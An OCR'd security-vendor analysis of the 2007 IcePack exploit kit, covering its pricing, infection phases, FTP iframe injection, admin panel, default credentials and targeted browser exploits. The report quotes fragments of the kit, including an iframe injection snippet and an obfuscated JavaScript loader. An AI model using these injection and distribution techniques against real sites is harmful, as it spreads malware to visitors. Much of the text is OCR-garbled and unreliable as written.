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Introduction

IcePack

IcePack is an application installed on a server that allows malware to be run on remote
systems using a series of exploits. It has been developed by “IDT Group”.

It's programmed in Php and accesses and saves information obtained from infected users.
This information is then stored in a MySQL-type database.

We found IcePack in a Russian forum on July 26, 2007. Currently it is one of the most
active “kits for installing malware through exploits”.

Comparative review with other “kits for installing
malware through exploits”

Price:

We have identified two versions of IcePack; a basic version, “lcePack Lite Edition”, which
only has the MS06-014 and MS06-006 exploits and is sold for around $30, and a more
advanced version, “IcePack Platinum Edition”, sold for around $400.

“IcePack Platinum Edition” is cheaper than Mpack ($700).
This document focuses on the advanced version: “lcePack Platinum Edition”.

Functionality:
One of the main differentiators of IcePack is that it is the only “kit for installing malware
through exploits” that also has “iframer” functions.

Language:
Like “Traffic pro”, it is in Russian, which makes it more difficult to use. Other kits such as
Mpack, which is available in English, may be more accessible.

We have recently found an English version of IcePack in a forum, but we don’t know
whether it was the creators (IDT Group) or someone else who translated it , since it is quite
usual for users of these programs to modify and improve them.
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Introduction

Phases of IcePack attacks

IcePack attacks are complex, since they require a certain degree of intelligence and
flexibility. Below you will find the phases identified:

e Users visit a web page on which it's hosted or another page containing an iframe
field that loads the index.php of the host website.

e The index.php determines which exploit should run on the computer, if it is
vulnerable.

e Depending on the value obtained in point 2, the exploit runs on users’ computers
and stores the information of the infected computer. This can be viewed later in the
statistics module.

IcePack

www.websitel.com www.website2.org www.website3.net www.website4.biz ="

A
) 2

User1 User2 User3 Userd ™
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Introduction

How it infects users:

How do attackers access web pages?

One of the main problems hackers have to resolve is to find and access web pages to
launch the attack from but which cannot be directly associated with them. There are
several ways of doing this:

By hacking vulnerable or incorrectly configured servers to obtain their passwords.
By using passwords stolen with other malware.

Through FTP servers sold in forums.

By cracking passwords through dictionaries (usually only typical passwords or those
with few characters are obtained).

Sometimes they use the same hacked site to host IcePack or other types of malware.
Consequently, by hosting malware on third-party servers it is more difficult to locate.

Hackers use Iframer-type programs to redirect web pages with iframe fields to IcePack.

Iframer

Once they access a web page, they add an iframe-type reference at the end of the file
loaded by default (usually index.php, index.html, etc. ) to the site IcePack is installed.

Hackers connect to the web page to modify via ftp.
Iframers usually have the following functions:
e Check: To make sure they can access websites via ftp. Some iframers can check
whether a page contains a certain iframe and add it if they cannot find it or delete

existing iframes different from the one they are inserting.

e Add: To add an iframe.
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Introduction

Iframer

www.website4.biz

Below you can find are examples of iframers that are usually installed on computers:

e FTP-Toolz pack

e Ftp moneymaker 24x7
e RooT [iFrame]

e FTP-iframer

IcePack is the first “kit for installing malware through exploits” that uses its own iframer.

The higher the number of pages they infect and the more popular they are, the higher the
number of users they will infect.
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Introduction

They also use a series of techniques to increase the number of infections:

e Enter certain words on the web pages where they are stored, so that when the web
page is indexed in browsers, users end up at the page containing the IcePack and get
infected.

e Buy domains with similar names to known sites users tend to access. For example,
gookle, which only differs in one character from the famous google search engine.
Users who misspell a word entered in the search engine could become infected.

e Mass-mailing. The emails usually contain links to infected pages and use social
engineering techniques to get victims to visit them. The Trj/Goldun and Trj/Haxdoor
families frequently use this technique. We have also found bots that download files
from sites with “kits for installing malware through exploits” instead of downloading
them directly. This way, they obtain statistics about users infected and the number of
times they have been downloaded.

e Buying google adsense words. If users search for those words, upon clicking the
sponsored links they will be redirected to malware-installing sites.

e Affiliation programs. As we have already mentioned in the blog, even though some
affiliation companies operate more legally than others, we have found cases in which
these companies don’t only install adware-type marketing programs, but also more
dangerous malware, such as banker Trojans.
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IcePack components

Installation and configuration

ReadMe.html

This file indicates the steps to install IcePack in Russian:

TpeboBaHMA

IcePack pafotaet c PHP W MySQL. Bam nonpoByetca PHP BepcHi 4.3 MAM EbILE M
MySOL BEpcHM 4.0 WAW BbIWe, BesonacHbld pesui PHP gomseH BeiTh OTHAIDYEH.

JIMyeHsnoHHoe CornaweHue

anDﬁpBTaﬂ |cePack, Bbl cOFNaWAaETECE CO CAe Oy MWK MYHET 3K AHUEHIMOHHOr O
COrnaeHa;

o |cePack CO303H MCHAKMMTEAEHD A7 TECTHPOBAHWA COBCTEEHHOMD
nparpasmmHoro ofecneqeHda, PazpafoTHWE He HECET DTEETCTERHHOCTH 33 Ballu
nocneayiowMe eACTEMA,

s 3anpeweHa Nepenpogaka M HCNoAb30EaHUE WCX0AHOro Koaa lcePack B
KOmMEPHECKWE LBAAY, B NPOTHEHOM CAYHae Bbl ByYOeTE AMWEHEl AMUEHEWA,

YcTaHOBKa

OTpenakTHpyATE dadn db.php B COOTEETCTEMM C BAWMMH OaHHBIMA.

2, ZarpyauTe ece thafnbl M3 SPXMES HA BAW CEPEED B OMHAPHOM PEHMME,

3. JarpysuTe dadHoli hain Ha CEOW KOMNbIOTEP. PacnakyiTe M3 sarpy+HeHHoro
apxuea dain GeolP.dat. 3arpysute GeolP.dat Ha Baw cepeep.

4. YcraHoewTe npaea {77 Ha nanky load, nanky admin/tmp v Ha dain
config. php.

5. 32anycTuTe CHPMNT yoTadoekM install.php W cnegyidTe MHCTpyKUMAM.

MpHre yanMe : Nocne YCTAHOEKM 0BA3aTEAbHO BEEOMTE URL B HACTPORKEX CHCTEMb!

2007 @ IDT Group
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IcePack components

install.php
Once the db.php file is configured, hackers must run the install.php file to create the
following tables in the MySql database:

CREATE TABLE statistics ( id int (10) unsigned NOT NULL
auto increment, datetime datetime default '2007-01-01 00:00:00",
ip varchar (15) default NULL, browser varchar (255) default NULL,
type varchar (255) default NULL, os varchar (255) default NULL,
country varchar (255) default NULL, referer varchar (255) default
NULL, is dw tinyint (1) unsigned NOT NULL default '0', KEY id
(id) ) ENGINE=MyISAM"

CREATE TABLE “config’ ("1d° int(11) NOT NULL
auto increment, "vkey ' varchar (255) default NULL, "value’
varchar (1024) default NULL, PRIMARY KEY ("id")) ENGINE=MyISAM"
CREATE TABLE "ftp  ( id" int(11l) NOT NULL auto increment, "data’
varchar (255) NOT NULL, "valid® tinyint (4) NOT NULL, PRIMARY KEY
(7id ")) ENGINE=MyISAM"

If the program is correctly installed, the following message is displayed in Russian:

YeTaHORKA 1A epIIeHA

EBofgure & nawens ynpaeneHud (HuaTlapons: rootftoor) B He3MeRETE HAcTpoRKH HacTpoREN

This message indicates that the default user is root and the password is toor.
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IcePack components

mysql.php

This module contains the functions necessary for IcePack to interact with the database:

function connect ($db _user, $db pass, S$Sdb name, $db location =
'localhost', S$show error=l1)

function query($query, S$show error=true)

function get row($query result)

function get array($query result)

function super query($query, S$multi = false)

function num rows (Squery result)

function insert id()

function get_result_fields($result)

function close()

function display error ($error, Serror num, S$Squery = '')

Most of the IcePack modules include this file to access the database easier.

config.php
This module contains data about the URL where IcePack is installed and the user name and
password to access the control panel:

< ?php

fconfig = array |

'main url' =» "http://www.site.com/ IcePack"”,
'adiin namwe' => "root™,

'adiin pass' => "toor™,

) ;

P
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IcePack components

Management

/admin./index.php
To access the control panel, hackers must log in by entering the correct user name and
password:
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IcePack components

This is the IcePack options menu:

GENERAL STATISTICS FTP WORK TOOLS LOGOUT
Os Import [frame
Browsers Check Traffic
Loads Inject Settings
Countries Clean
Referers
Clean
GENERAL

T s [ TPy

FHP

i)l

Sale HMode
IF cepmepa :‘
LETR LR Se—

iMiges wiri-mi Tis@-ea

STATISTICS

All the options in the Statistics module have a selection box called ‘'Time” which allows
hackers to select the following options: Today / Yesterday / Total.
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IcePack components

Os

Windows Xz
Windows Visla 3
Windows Z0010 2

ther :
Windows Z003 @
Windows 90 :
Mai 05 :

Linus @
Windows 95 ¢

Windows NT 4 2

It shows the number of infections per operating system.
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IcePack components

Browsers

Internet Cuplorer &0 ¢

Internet Explorer 7.0 @
Firefox 20000 = 432

Dpera 9,273 ¢

Maozills 5.0 -

Opera 900 :

Opera 9.21 ¢

Npeca 9,20 &

Opera .22 ¢

Morilla 4.0 ;

Firefom 1.5.0

Opera 9,00 ;

Opera 9.02 ¢

fperas @i, 50 ;

Opera 9.01 ¢

internet Explorer 5,5 ¢
Interniet Euplorer 5.01 @ 14

Firefax 2.0 :

It shows the number of times users with a certain browser have accessed an infected page,
regardless of whether they have become infected or not.
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IcePack components

Loads

1t

W

CPFLRA

II-I"||||.rr| MIALITG JATRY B0

It shows the number of malware downloads per browser. Unlike the previous option, it
only shows successful malware downloads.

Countries

=

15“
Ly

It shows the number of infections per country.
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IcePack components

Referrers

ware,Can ;
mel.Cam !

indes.php @

It shows information about the websites from which infections have taken place, the
number of times infections have occurred and the percentage of infection.

Clean
It deletes the “Statistics” data. When this option is selected, hackers are asked for
confirmation to delete this data.

FTP WORK

Import

JArPYIRa © KOMOBMTERS | Examinar

IArpyIRS £ CEpEEpa T GOCoURE Ix]

It allows hackers to enter several FTP accounts from a file.
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IcePack components

Check

It allows hackers to check the status of the FTP accounts entered. This option calls the
/admin/check.php file.

/admin/check.php
When the /admin/check.php file is run, the /admin/tmp/check.txt temporary file is
created with the data checked.

Inject
It searches for the initial file loaded by default on each website and inserts the iframe in it.

Andopragsn

This option calls the /admin/inject.php file.

/admin/inject.php
When the /admin/check.php file is run, the /admin/tmp/check.txt temporary file is
created with the data checked.

Clean
It deletes the Ftp work data. When hackers select this option, the program asks for the FTP
accounts to be deleted:

e FTP accounts that don't work
e FTP accounts that work
e All FTP accounts
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IcePack components

TOOLS

Iframe

<izeame sco="hetp:/ /N + idth="0" height="0"></ifcamss

caceipt lapguage="JavaScripi™r eval (unescape ("docwmsent . writevdB3tring.fromlharCodes 2802 C10RICIOTY &
2C114%2CaTRICI09%2C101FECITY CROFICE1NT Y ICI04%2C1I6%2C116%2C112%2CRSTICYTRICATS

It shows the iframe to be inserted in unencrypted pages (level 0) and encrypted pages (level
2).

Traffic

Mosegense [1]:  Bnomposams ¥ L OEpakiITE
CTgh i ¢ AziaPacific :e-.;:(-n w Dobapmie
']rx','q.ﬂr (8§ LEL LI :l'..ln:'u-'=

fAofiapsTe cTpany

This option allows hackers to block or allow traffic in the geographic area selected.
The “Allow"” option allows all traffic except for the traffic of the countries selected.
The “Block” option blocks all traffic except for the traffic of the countries selected.
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IcePack components

Settings

viMa nonuionarena [ ] oot

Napones NofnssonaTens 1004

m
=
-]
o

@aan gna sarpyses [ ]

It allows hackers to change the URL of the server where IcePack is installed, the default
user name and password, and also upload and update the malware file to be distributed.

/admin/functions.php

function MessageBox ($title, S$message)
function ShowHelp (Stext)

function ShowCopyright ()

function ShowMenu ($1)

function CheckCountry ($Sname)
function parse ftp($account)

function FindIndex ($path, S$rec=0)
function FindWDs ($dir)

function changeIndex ($file, Stext)
function getPR check(Shost)

/admin/license

This file contains the installation license code provided by the creators. To generate it, they
use the text of the website where it is installed. This way, they make sure every IcePack
installation requires a different license number.

If the license is not correct, the following error message is displayed:

ERROR: Invalid license

PANDA | One step ahead.
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IcePack components

In the IcePack version we had, the code referring to license checking included comments
that allowed it to be installed on any servers regardless of the license file:

"1t (file exisca("licenas™))

$fo = fopen(®liceansa®™, *r"):
fdacm = fread(ffo, filesize("licen=ze™)]:
foloms($fo]

fdaca = grinflace{fdata):

fdommin = ate replace("www,.', "', § JERVER['SERVER MNANE']):

i (Sdmta '™ mdS(§domain, " BENUELCAsRUTIOUEEE ! "4l RI (JT,0(LFP1']) exit ("ERROR: Invalid license”):

) ml=s mxit ("ERROR: License f£ile not found®):®/
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IcePack components

Steps for infecting computers

index.php

e Firstly, the program checks the browser, operating system and country of the
targeted user.

e [t makes sure the country is not excluded in the Traffic option.

e Finally, it runs the most adequate exploit depending on the computer’s operating
system and browser:

It uses the _crypt function in the functions.php file to encrypt the index.php file and make
detection more difficult for anti-malware programs.

This file looks like this:
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IcePack components

«script Tanguage=Javascript>function dco(xi{var

T=x. 1ength,g-1-’_"24, i, r,p=0,5=0, w=0, t=array(63,1,0,50,51,57, 28,60, 56,40,0,0,0,0,0,0,58,25,19,4
5,22,44,46,42,12,11,16,4%,47,35,15,2,59,38,3%,6,17,34,5,30,62, 53,52,0,0,0,0,27,0,18,8,36,43, 61
(41,3,10,21,7,32,253,48,54,13,37,14,55,4,31,9,20,24,353,29,26); Tor(j=Math, cel1(1/b); j=0; j==2{r="
ForCisMath.min(l,b);i>0;i——, 1-=){wl=(t [x. charCodeat (p++)-48] J<<5; iF(s){r+=5tring. from_harCod
2(165Aw&2 550 ;wermb; som2 telse{s=6} tdocument. writelr) } Fde (' Laad TMEZVRo3 ULEYt god] oev I0f Y srHmbEEY D
JHASTCI0ATMTMBKIMTREMGS ] F SLGAd 2 BOm_xZQhT 74 2_62v3 GrmwwE T ORMEZ LEMZ T exvZ635_CrH] w%mmwstanmhs
:Qr;;F Sbnf SGBuUv aASUBR Equ?bmpc'l FSE0ouch] SpTBQLOTUNT 742 _6Z_=200] or ug?QL oy =T Xexw ] BK2r HKE4ES 1 0Ax ]
ty30Z87ORxe2 L 6m2 toMwDbnLgFuD] or ug7oLGfuogHKIL S5ALGSKh Hr _GamHNyxH] B UHr xd 720t S8QaAGemHNegL 3GdazC
146V TIw3 SLEMIBEMZMS X LETZ5 _LE 1467 TT3QLIhALI8MILEKTAES I TwTGNeZ ggukmr B xgypd rt Pgrwxy r SZg0EMDNOML
3GrL3hdarHaugexoassl]ayerF4 IOHMI I6Z008pADT REPTA0_eZH-hdEaGB1 1 Aver F4vabovasillarer Fdw=hdEaGsl1a
YerFavuAxs 21Dy RCPTUDgekD] e HLEMODALY r SZqOEMDNCUT 39RLEhd 1 g6Z Jte3vatil 1Ay er Fdw<howihdL 38mILEKT
$E3TTbyaaschwid NrbMLIGrL3hdBE7 v vEm2 gidMdC cvlax i nyps 1 fK1 Z6psP S dEZBZ sty xygor aa7d DSy weDbZIGEY SEG
F2r5x200r] 3Ap200R 1 3AP2OOCTOTE2OCCINSK20yR] _Fr20Cp] Enc 20y PDhAR 200CBGHC 20 CEN S K20y PDWARZOC POGHE 2
IyCHZHRZ0OKL] updonm] _Fp2oypo_ 5 C200pTwHN2OC AR 20C CT Q7 p20Ckv DARZOyRL_TH20yms 1 Fp2oom] 5 Ap2oCpio?
NAOCCISTM200C2gEC200C2r 5K Oéhrpmmc}nﬁecﬁt';&n.joé‘fpsrSK_T'G;Rjj Sk2oopSgumoyml 1FploypTRSK20ypDnSK20CKD
ZHE2OCc Thuc20e NP K20ec 2 NSm2Oec TWum2Oec SN K 20y e DDAR 200 S_UK20ep2 QUc 2O cyque2oyvpi que 2ok i zfp2 oy
Abgac2CCpl SAp2oyPSIAR 2Oy I NS K20yR ] 1FKZ00pSIAP2OYR] BEM2Oy Py SARZOYREOTHZOYC I NS K20YR]L_AC2OCcsiAps
oinSK200RIZFR20 -RZtTmzc)g-pzj LM 200y OEK 20emgr Ac 20emgNTm2oomsr Fp2oyRDDac 20epTwl K 20emg_Tr200RISE
:nﬁoqz-rgg.npzoupi_&c CCCiwWim2oecqgeRr20emgNTm2oyR j NTm20epTOAC20yRINEK 20k g p2oym] _Fp2oocofp2oom]
gﬁplc-n':[-wm:loymiq?m]oal(ggm:oam:dnPZprEruk_ODCDOEP20mgN?ﬂ5@yPDq?ﬂ20ypTOEr' cepsrfp2oeclwac2 o
nigim2eC o2t im2oom] SER200myhTp2oemg] ap2oemgNim2oemgy s pRoomySEp2oemg] EC2oemgNTm2OCcTgar2oC o hac
JEpG_UK208CST SM20eclI S 20ep2 NUR2OBIBUR 2GS COQUP20Ec2 TAC20LCTQUE2ORCDWUmM2 OB CLNEm2 Oy c B Sm2oec 1T
220ecvoap2oeciNFp2oec Jwim2oec JThaR20CCiwum2 0o Ci QaR20ypT DAp] 3SRL3hdBETvvgLZDUHTL I NPV T nyc i Dap
SFRLIMABETYWILTIZNr It X3 VUAXYy QoY 2274 DS elugy 30 yd Ve {lﬂﬁdEE Zat T SZqUEMDNy wwDE T a_u3mlF Tvobuvnb

functions.php
It includes the following functions:

detect_browser()
detect_os()

detect_country()
_crypt($content)

exe.php
It downloads the file and updates the infection data in the database.

To determine the country of the infected users, it uses the geoip.inc and geoip.dat files.

geoip.inc
This module includes functions to determine which country an IP address belongs to.

geoip.dat

This binary file has the data to determine which country an IP address belongs to.

The /admin/flags directory contains the flag of every country.

/admin/flags

The directory where flags are stored
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IcePack components

functions.php

It includes the following functions:
detect_browser()
detect_os()

detect_country()
_crypt($content)

exe.php
It downloads the file and updates the infection data in the database.

To determine the country of the infected users, it uses the geoip.inc and geoip.dat files.

geoip.inc
This module includes functions to determine which country an IP address belongs to.

geoip.dat

This binary file has the data to determine which country an IP address belongs to.

The /admin/flags directory contains the flag of every country.
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/admin/flags

The directory where flags are stored

il [ = | &8 K2 ul] - | -+

dm_ad.gif dm_ae.gif dm_af.gif dm_ag.gif dm_ai.gif dm_al.gif dm_am.gif dm_an.gif

K -] — ol ’ =

dm_ao.gif dm_aq.gif dm_ar.gif dm_as.gif dm_at.gif dm_au.gif dm_aw.gif dm_az.gif

k.l i a e - [ E =
dm_ba.gif dm_bb.gif dm_bd.gif dm_be.gif dm_bf.gif dm_bg.gif dm_bh.gif dm_bi.gif

(= =] ~ —_ - ad ==

dm_bj.gif dm_bm.gif dm_bn.gif dm_bo.gif dm_br.gif dm_bs.gif dm_bt.gif dm_bv.gif

= L 2 i+ ol == Vd

dm_bw.gif dm_by.gif dm_bz.gif dm_ca.gif dm_cc.gif dm_cd.gif dm_cf.gif dm_cg.gif

il ull = | - — =

dm_ch.gif dm_ci.gif dm_ck.gif dm_cl.gif dm_cm.gif dm_cn.gif dm_co.gif dm_cr.gif

PANDA | One step ahead.

SECURITY

www.pandasecurity.com




ICEPACK UNCOVERED (DECEMBER 2007) 25

IcePack components

Vulnerabilities used

/exploits/i.php

This module contains several exploits it tries to run if the browser is Internet Explorer.

e WinZip

e QuickTime overflow

e MS06-057 WebViewFolderlcon
e MS06-055 VML

/exploits/movie.bin
File used for the QuickTime overflow exploit.

/exploits/f.php
The module IcePack tries to run if the browser is Firefox. The exploit used is MS06-006
(optimized for this browser).

/exploits/o.php
The module IcePack tries to run if the browser is Opera. The exploit used is MS06-006
(optimized for this browser).

Unlike other “kits for installing malware through exploits”, IcePack doesn’t keep statistical
data of the exploits used.
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